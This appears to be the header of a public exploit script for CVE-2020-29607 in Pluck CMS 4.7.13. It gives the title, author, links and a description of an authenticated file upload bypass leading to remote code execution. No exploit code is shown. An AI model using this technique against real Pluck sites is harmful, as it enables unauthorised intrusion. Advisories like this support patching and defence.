# Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://github.com/pluck-cms/pluck
# Software Link: https://github.com/pluck-cms/pluck/releases/tag/4.7.13
# Version: 4.7.13
# Tested on Xubuntu 20.04
# CVE: CVE-2020-29607

'''
Description:
A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin
privileged user to gain access in the host through the "manage files" functionality,
which may result in remote code execution.
